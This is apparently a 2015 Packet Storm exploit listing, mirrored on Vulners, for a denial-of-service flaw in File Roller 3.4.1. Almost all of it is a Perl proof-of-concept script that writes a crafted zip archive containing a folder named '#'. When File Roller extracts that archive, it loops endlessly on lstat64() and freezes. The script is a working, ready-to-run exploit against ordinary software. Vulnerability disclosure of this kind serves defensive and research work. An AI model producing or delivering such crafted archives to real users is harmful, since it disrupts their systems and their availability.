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File Roller 3.4.1 Denial Of Service

🗓️ 09 Jul 2015 00:00:00Reported by ArsyntexType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

File Roller 3.4.1 Denial Of Service PoC Perl Scrip

Code
`#!/usr/bin/perl  
#  
# Title: File Roller - DoS PoC  
# Date: 08/07/2015  
# Author: Arsyntex  
# Homepage: https://wiki.gnome.org/Apps/FileRoller  
# Version: v3.4.1  
# Tested on: Linux lab 3.2.0-85-generic-pae #122-Ubuntu i686 i386 GNU/Linux  
# -------------------------------------------------------------------------  
# Create a zip file with a folder inside named: #  
#  
# Run: file-roller --extract-here test.zip  
#  
# Result: endless call's of lstat64() (50 % CPU usage) (Freeze app)  
#   
  
$zip = "\x50\x4b\x03\x04\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46\x00\x00" .  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x23\x2f" .  
"\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46" .  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .  
"\x00\x00\x00\x00\x00\x00\x10\x80\xfd\x41\x00\x00\x00\x00\x23\x2f" .  
"\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x30\x00\x00\x00" .  
"\x20\x00\x00\x00\x00\x00";  
  
open FILE, ">poc.zip" or die("Can't open poc.zip\n") ;  
binmode(FILE) ;  
print FILE $zip ;  
close FILE ;  
  
`

Data

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09 Jul 2015 00:00Current
7.4High risk
Vulners AI Score7.4
16